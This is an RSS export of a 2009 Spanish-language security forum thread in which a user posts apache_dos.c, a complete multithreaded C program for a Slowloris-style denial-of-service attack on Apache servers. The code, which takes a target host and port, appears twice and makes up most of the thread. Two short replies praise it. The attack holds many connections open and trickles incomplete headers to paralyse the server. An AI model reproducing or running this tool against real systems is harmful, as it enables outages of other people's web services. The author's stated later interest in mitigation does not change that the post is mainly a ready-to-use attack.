<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>apache_dos.c - Apache D.O.S proof-of-concept</title>
<description>Hice un pequeño código, basado en el publicado por evilrabbi en milw0rm.com (afiliado!). Esta echo en C y, a diferencia de el mencionado, usa hilos POSIX. Dentro de poco voy a tratar de encontrar una forma temporal de mitigar este tipo de ataques. Si bien ESTE poc no aniquila el servidor httpd solamente lo paraliza mientras se mantenga dicha sesión y en algunos casos el servidor responde con un error.
He aquí la aplicación:
Language: C/***
* apache_dos.c - C1c4Tr1Z &amp;lt;c1c4tr1z@voodoo-labs.org&amp;gt;
* C version of the D.O.S proof-of-concept by evilrabbi (http://www.milw0rm.com/exploits/8991)
* voodoo-labs 2009 (http://voodoo-labs.org) &amp;amp; undersecurity (http://foro.undersecurity.net)
* compile: gcc -o apache_dos apache_dos.c -lpthread
***/
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;netdb.h&amp;gt;
#include &amp;lt;getopt.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
&amp;nbsp;
#define PORT 80
#define PTHREADS 30
#define UA &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) &amp;quot;\
&amp;quot;Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.11&amp;quot;
#define ERROR(x) do{if(x!=NULL)printf(&amp;quot;[-]%s\n&amp;quot;,x);exit(-1);}while(0);
#define GET &amp;quot;GET / HTTP/1.1\r\n&amp;quot;\
&amp;quot;Host: %s\r\n&amp;quot;\
&amp;quot;User-Agent: %s\r\n&amp;quot;\
&amp;quot;Content-Length: %d\r\n&amp;quot;\
&amp;quot;X-a: %d\r\n&amp;quot;
#define X &amp;quot;X-a: b\r\n&amp;quot;
&amp;nbsp;
static int port=PORT;
&amp;nbsp;
void *sendHeaders&amp;#40;const char *address&amp;#41;&amp;#123;
int sock;
struct sockaddr_in sockaddr;
struct hostent *host_s;
&amp;nbsp;
if&amp;#40;&amp;#40;host_s=gethostbyname&amp;#40;address&amp;#41;&amp;#41;==NULL&amp;#41;&amp;#123;
perror&amp;#40;&amp;quot;[-]gethostbyname()&amp;quot;&amp;#41;;
pthread_exit&amp;#40;0&amp;#41;;
&amp;#125;
&amp;nbsp;
srand&amp;#40;time&amp;#40;NULL&amp;#41;&amp;#41;;
&amp;nbsp;
memset&amp;#40;&amp;amp;sockaddr, 0, sizeof&amp;#40;struct sockaddr&amp;#41;&amp;#41;;
sockaddr.sin_port=htons&amp;#40;port&amp;#41;;
sockaddr.sin_family=AF_INET;
memcpy&amp;#40;&amp;amp;sockaddr.sin_addr, host_s-&amp;gt;h_addr, host_s-&amp;gt;h_length&amp;#41;;
&amp;nbsp;
if&amp;#40;&amp;#40;sock=socket&amp;#40;AF_INET, SOCK_STREAM, 0x06&amp;#41;&amp;#41;!=-1&amp;#41;&amp;#123;
if&amp;#40;&amp;#40;connect&amp;#40;sock, &amp;#40;struct sockaddr*&amp;#41;&amp;amp;sockaddr, sizeof&amp;#40;sockaddr&amp;#41;&amp;#41;&amp;#41;!=-1&amp;#41;&amp;#123;
dprintf&amp;#40;sock, GET, address, UA, rand&amp;#40;&amp;#41;%10000, rand&amp;#40;&amp;#41;%1000&amp;#41;;
while&amp;#40;&amp;#40;send&amp;#40;sock, X, strlen&amp;#40;X&amp;#41;, 0&amp;#41;&amp;#41;!=-1&amp;#41;&amp;#123;
/**
* you can change the interval time
* between each request (def: 10s.)
**/
sleep&amp;#40;2&amp;#41;;
&amp;#125;
&amp;#125;else&amp;#123;
perror&amp;#40;&amp;quot;[-]connect()&amp;quot;&amp;#41;;
pthread_exit&amp;#40;0&amp;#41;;
&amp;#125;
close&amp;#40;sock&amp;#41;;
&amp;#125;else&amp;#123;
perror&amp;#40;&amp;quot;[-]socket()&amp;quot;&amp;#41;;
pthread_exit&amp;#40;0&amp;#41;;
&amp;#125;
&amp;nbsp;
pthread_exit&amp;#40;0&amp;#41;;
&amp;#125;
&amp;nbsp;
int main&amp;#40;int argc, char *argv&amp;#91;&amp;#93;&amp;#41;&amp;#123;
int opt, thread, thread_n=PTHREADS;
char *server, *ptr;
&amp;nbsp;
opterr=0;
while&amp;#40;&amp;#40;opt=getopt&amp;#40;argc, argv, &amp;quot;t:n:h&amp;quot;&amp;#41;&amp;#41;!=-1&amp;#41;&amp;#123;
switch&amp;#40;opt&amp;#41;&amp;#123;
case&amp;#40;'t'&amp;#41;:
server=&amp;#40;char*&amp;#41;malloc&amp;#40;strlen&amp;#40;optarg&amp;#41;&amp;#41;;
memset&amp;#40;server, 0, sizeof&amp;#40;server&amp;#41;&amp;#41;;
if&amp;#40;&amp;#40;ptr=strchr&amp;#40;optarg, ':'&amp;#41;&amp;#41;!=NULL&amp;#41;&amp;#123;
*ptr++='\0';
port=atoi&amp;#40;ptr&amp;#41;;
&amp;#125;
strncpy&amp;#40;server, optarg, strlen&amp;#40;optarg&amp;#41;&amp;#41;;
break;
case&amp;#40;'n'&amp;#41;:
thread_n=atoi&amp;#40;optarg&amp;#41;;
break;
case&amp;#40;'?'&amp;#41;:
printf&amp;#40;&amp;quot;[-]option requires an argument (-%c).\n&amp;quot;,optopt&amp;#41;;
case&amp;#40;'h'&amp;#41;:
default:
printf&amp;#40;
&amp;quot;[+]apache_dos.c - C1c4Tr1Z &amp;lt;c1c4tr1z@voodoo-labs.org&amp;gt;\n&amp;quot;
&amp;quot;[+]usage: %s [-n threads] -t &amp;lt;target&amp;gt;[:port]\n&amp;quot;,
argv&amp;#91;0&amp;#93;&amp;#41;;
ERROR&amp;#40;NULL&amp;#41;;
&amp;#125;
&amp;#125;
&amp;nbsp;
printf&amp;#40;&amp;quot;[+]target: %s (%d)\n&amp;quot;, server, port&amp;#41;;
printf&amp;#40;&amp;quot;[+]useragent: %s\n&amp;quot;, UA&amp;#41;;
&amp;nbsp;
while&amp;#40;1&amp;#41;&amp;#123;
pthread_t pthreads&amp;#91;thread_n&amp;#93;;
printf&amp;#40;&amp;quot;[+]number of threads: %d\n&amp;quot;, thread_n&amp;#41;;
for&amp;#40;thread=0;thread&amp;lt;thread_n;thread++&amp;#41;&amp;#123;
if&amp;#40;pthread_create&amp;#40;&amp;amp;pthreads&amp;#91;thread&amp;#93;, NULL, &amp;#40;void*&amp;#41;sendHeaders, &amp;#40;void*&amp;#41;server&amp;#41;!=0&amp;#41;&amp;#123;
ERROR&amp;#40;&amp;quot;couldn't create a thread.&amp;quot;&amp;#41;;
&amp;#125;
&amp;#125;
for&amp;#40;thread=0;thread&amp;lt;thread_n;thread++&amp;#41;&amp;#123;
pthread_join&amp;#40;pthreads&amp;#91;thread&amp;#93;, NULL&amp;#41;;
&amp;#125;
&amp;#125;
&amp;nbsp;
return&amp;#40;0&amp;#41;;
&amp;#125;

EDIT: hice varios cambios, pero hasta el momento me cuesta replicar el tipo de ataque realizado por RSnake.</description><link>https://foro.undersecurity.net/read.php?15,2876,2876#msg-2876</link><lastBuildDate>Mon, 06 Sep 2010 12:04:29 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?15,2876,3641#msg-3641</guid>
<title>Re: apache_dos.c - Apache D.O.S proof-of-concept</title><link>https://foro.undersecurity.net/read.php?15,2876,3641#msg-3641</link><description><![CDATA[excelente trabajo cicatriz]]></description>
<dc:creator>3n!Gma</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 30 Jul 2009 02:58:29 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,2876,2877#msg-2877</guid>
<title>Re: apache_dos.c - Apache D.O.S proof-of-concept</title><link>https://foro.undersecurity.net/read.php?15,2876,2877#msg-2877</link><description><![CDATA[Muy buen codigo bro...<br /><br />Saludos,<br />n0b0dy.]]></description>
<dc:creator>n0b0dy</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 25 Jun 2009 23:28:50 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?15,2876,2876#msg-2876</guid>
<title>apache_dos.c - Apache D.O.S proof-of-concept</title><link>https://foro.undersecurity.net/read.php?15,2876,2876#msg-2876</link><description><![CDATA[Hice un pequeño código, basado en el publicado por <i>evilrabbi</i> en milw0rm.com (afiliado!). Esta echo en C y, a diferencia de el mencionado, usa hilos POSIX. Dentro de poco voy a tratar de encontrar una forma temporal de mitigar este tipo de ataques. Si bien ESTE poc no aniquila el servidor httpd solamente lo paraliza mientras se mantenga dicha sesión y en algunos casos el servidor responde con un error.<br />He aquí la aplicación:<br /><pre class="c bbcode_geshi"><div class="head">Language: C</div><span class="coMULTI">/***
 * apache_dos.c - C1c4Tr1Z &lt;c1c4tr1z@voodoo-labs.org&gt;
 * C version of the D.O.S proof-of-concept by evilrabbi (http://www.milw0rm.com/exploits/8991)
 * voodoo-labs 2009 (http://voodoo-labs.org) &amp; undersecurity (http://foro.undersecurity.net)
 * compile: gcc -o apache_dos apache_dos.c -lpthread
 ***/</span>
<span class="co2">#include &lt;time.h&gt;</span>
<span class="co2">#include &lt;stdio.h&gt;</span>
<span class="co2">#include &lt;netdb.h&gt;</span>
<span class="co2">#include &lt;getopt.h&gt;</span>
<span class="co2">#include &lt;string.h&gt;</span>
<span class="co2">#include &lt;stdlib.h&gt;</span>
<span class="co2">#include &lt;pthread.h&gt;</span>
<span class="co2">#include &lt;netinet/in.h&gt;</span>
<span class="co2">#include &lt;sys/socket.h&gt;</span>
&nbsp;
<span class="co2">#define	PORT	80</span>
<span class="co2">#define PTHREADS 	30</span>
<span class="co2">#define UA		&quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) &quot;\
			&quot;Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.11&quot;</span>
<span class="co2">#define ERROR(x)	do{if(x!=NULL)printf(&quot;[-]%s\n&quot;,x);exit(-1);}while(0);</span>
<span class="co2">#define GET		&quot;GET / HTTP/1.1\r\n&quot;\
			&quot;Host: %s\r\n&quot;\
			&quot;User-Agent: %s\r\n&quot;\
    			&quot;Content-Length: %d\r\n&quot;\
			&quot;X-a: %d\r\n&quot;</span>
<span class="co2">#define X		&quot;X-a: b\r\n&quot;</span>
&nbsp;
<span class="kw4">static</span> <span class="kw4">int</span> port<span class="sy0">=</span>PORT<span class="sy0">;</span>
&nbsp;
<span class="kw4">void</span> <span class="sy0">*</span>sendHeaders<span class="br0">&#40;</span><span class="kw4">const</span> <span class="kw4">char</span> <span class="sy0">*</span>address<span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> sock<span class="sy0">;</span>
	<span class="kw4">struct</span> sockaddr_in sockaddr<span class="sy0">;</span>
	<span class="kw4">struct</span> hostent <span class="sy0">*</span>host_s<span class="sy0">;</span>
&nbsp;
	<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>host_s<span class="sy0">=</span>gethostbyname<span class="br0">&#40;</span>address<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">==</span>NULL<span class="br0">&#41;</span><span class="br0">&#123;</span>
		perror<span class="br0">&#40;</span><span class="st0">&quot;[-]gethostbyname()&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
		pthread_exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
&nbsp;
	srand<span class="br0">&#40;</span>time<span class="br0">&#40;</span>NULL<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	memset<span class="br0">&#40;</span><span class="sy0">&amp;</span>sockaddr<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
	sockaddr.<span class="me1">sin_port</span><span class="sy0">=</span>htons<span class="br0">&#40;</span>port<span class="br0">&#41;</span><span class="sy0">;</span>
	sockaddr.<span class="me1">sin_family</span><span class="sy0">=</span>AF_INET<span class="sy0">;</span>
	memcpy<span class="br0">&#40;</span><span class="sy0">&amp;</span>sockaddr.<span class="me1">sin_addr</span><span class="sy0">,</span> host_s<span class="sy0">-&gt;</span>h_addr<span class="sy0">,</span> host_s<span class="sy0">-&gt;</span>h_length<span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>sock<span class="sy0">=</span>socket<span class="br0">&#40;</span>AF_INET<span class="sy0">,</span> SOCK_STREAM<span class="sy0">,</span> <span class="nu12">0x06</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">!=-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>connect<span class="br0">&#40;</span>sock<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">&amp;</span>sockaddr<span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>sockaddr<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">!=-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			dprintf<span class="br0">&#40;</span>sock<span class="sy0">,</span> GET<span class="sy0">,</span> address<span class="sy0">,</span> UA<span class="sy0">,</span> rand<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">%</span><span class="nu19">10000</span><span class="sy0">,</span> rand<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">%</span><span class="nu19">1000</span><span class="br0">&#41;</span><span class="sy0">;</span>
			<span class="kw1">while</span><span class="br0">&#40;</span><span class="br0">&#40;</span>send<span class="br0">&#40;</span>sock<span class="sy0">,</span> X<span class="sy0">,</span> strlen<span class="br0">&#40;</span>X<span class="br0">&#41;</span><span class="sy0">,</span> <span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">!=-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
				<span class="coMULTI">/**
				 * you can change the interval time
				 * between each request (def: 10s.)
				 **/</span>
				 sleep<span class="br0">&#40;</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span>
			<span class="br0">&#125;</span>
		<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
			perror<span class="br0">&#40;</span><span class="st0">&quot;[-]connect()&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
			pthread_exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="br0">&#125;</span>
	close<span class="br0">&#40;</span>sock<span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
		perror<span class="br0">&#40;</span><span class="st0">&quot;[-]socket()&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
		pthread_exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
	<span class="br0">&#125;</span>
&nbsp;
	pthread_exit<span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc<span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*</span>argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw4">int</span> opt<span class="sy0">,</span> thread<span class="sy0">,</span> thread_n<span class="sy0">=</span>PTHREADS<span class="sy0">;</span>
	<span class="kw4">char</span> <span class="sy0">*</span>server<span class="sy0">,</span> <span class="sy0">*</span>ptr<span class="sy0">;</span>
&nbsp;
	opterr<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span>
	<span class="kw1">while</span><span class="br0">&#40;</span><span class="br0">&#40;</span>opt<span class="sy0">=</span>getopt<span class="br0">&#40;</span>argc<span class="sy0">,</span> argv<span class="sy0">,</span> <span class="st0">&quot;t:n:h&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">!=-</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		<span class="kw1">switch</span><span class="br0">&#40;</span>opt<span class="br0">&#41;</span><span class="br0">&#123;</span>
			<span class="kw1">case</span><span class="br0">&#40;</span><span class="st0">'t'</span><span class="br0">&#41;</span><span class="sy0">:</span>
				server<span class="sy0">=</span><span class="br0">&#40;</span><span class="kw4">char</span><span class="sy0">*</span><span class="br0">&#41;</span>malloc<span class="br0">&#40;</span>strlen<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
				memset<span class="br0">&#40;</span>server<span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> <span class="kw4">sizeof</span><span class="br0">&#40;</span>server<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
				<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>ptr<span class="sy0">=</span>strchr<span class="br0">&#40;</span>optarg<span class="sy0">,</span> <span class="st0">':'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">!=</span>NULL<span class="br0">&#41;</span><span class="br0">&#123;</span>
					<span class="sy0">*</span>ptr<span class="sy0">++=</span><span class="st0">'<span class="es5">\0</span>'</span><span class="sy0">;</span>
					port<span class="sy0">=</span>atoi<span class="br0">&#40;</span>ptr<span class="br0">&#41;</span><span class="sy0">;</span>
				<span class="br0">&#125;</span>
				strncpy<span class="br0">&#40;</span>server<span class="sy0">,</span> optarg<span class="sy0">,</span> strlen<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
			<span class="kw2">break</span><span class="sy0">;</span>
			<span class="kw1">case</span><span class="br0">&#40;</span><span class="st0">'n'</span><span class="br0">&#41;</span><span class="sy0">:</span>
				thread_n<span class="sy0">=</span>atoi<span class="br0">&#40;</span>optarg<span class="br0">&#41;</span><span class="sy0">;</span>
			<span class="kw2">break</span><span class="sy0">;</span>
			<span class="kw1">case</span><span class="br0">&#40;</span><span class="st0">'?'</span><span class="br0">&#41;</span><span class="sy0">:</span>
				<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[-]option requires an argument (-%c).<span class="es1">\n</span>&quot;</span><span class="sy0">,</span>optopt<span class="br0">&#41;</span><span class="sy0">;</span>
			<span class="kw1">case</span><span class="br0">&#40;</span><span class="st0">'h'</span><span class="br0">&#41;</span><span class="sy0">:</span>
			<span class="kw1">default</span><span class="sy0">:</span>
				<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span>
					<span class="st0">&quot;[+]apache_dos.c - C1c4Tr1Z &lt;c1c4tr1z@voodoo-labs.org&gt;<span class="es1">\n</span>&quot;</span>
					<span class="st0">&quot;[+]usage: %s [-n threads] -t &lt;target&gt;[:port]<span class="es1">\n</span>&quot;</span><span class="sy0">,</span>
				argv<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span>
				ERROR<span class="br0">&#40;</span>NULL<span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="br0">&#125;</span>
	<span class="br0">&#125;</span>
&nbsp;
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+]target: %s (%d)<span class="es1">\n</span>&quot;</span><span class="sy0">,</span> server<span class="sy0">,</span> port<span class="br0">&#41;</span><span class="sy0">;</span>
	<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+]useragent: %s<span class="es1">\n</span>&quot;</span><span class="sy0">,</span> UA<span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
	<span class="kw1">while</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
		pthread_t pthreads<span class="br0">&#91;</span>thread_n<span class="br0">&#93;</span><span class="sy0">;</span>
		<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;[+]number of threads: %d<span class="es1">\n</span>&quot;</span><span class="sy0">,</span> thread_n<span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="kw1">for</span><span class="br0">&#40;</span>thread<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span>thread<span class="sy0">&lt;</span>thread_n<span class="sy0">;</span>thread<span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			<span class="kw1">if</span><span class="br0">&#40;</span>pthread_create<span class="br0">&#40;</span><span class="sy0">&amp;</span>pthreads<span class="br0">&#91;</span>thread<span class="br0">&#93;</span><span class="sy0">,</span> NULL<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span><span class="br0">&#41;</span>sendHeaders<span class="sy0">,</span> <span class="br0">&#40;</span><span class="kw4">void</span><span class="sy0">*</span><span class="br0">&#41;</span>server<span class="br0">&#41;</span><span class="sy0">!=</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
				ERROR<span class="br0">&#40;</span><span class="st0">&quot;couldn't create a thread.&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
			<span class="br0">&#125;</span>
		<span class="br0">&#125;</span>
		<span class="kw1">for</span><span class="br0">&#40;</span>thread<span class="sy0">=</span><span class="nu0">0</span><span class="sy0">;</span>thread<span class="sy0">&lt;</span>thread_n<span class="sy0">;</span>thread<span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			pthread_join<span class="br0">&#40;</span>pthreads<span class="br0">&#91;</span>thread<span class="br0">&#93;</span><span class="sy0">,</span> NULL<span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="br0">&#125;</span>
	<span class="br0">&#125;</span>
&nbsp;
	<span class="kw1">return</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br />EDIT: hice varios cambios, pero hasta el momento me cuesta replicar el tipo de ataque realizado por RSnake.]]></description>
<dc:creator>C1c4Tr1Z</dc:creator>
<category>Vulnerabilidades Nivel Web General</category><pubDate>Thu, 25 Jun 2009 22:17:39 -0400</pubDate></item>
</channel>
</rss>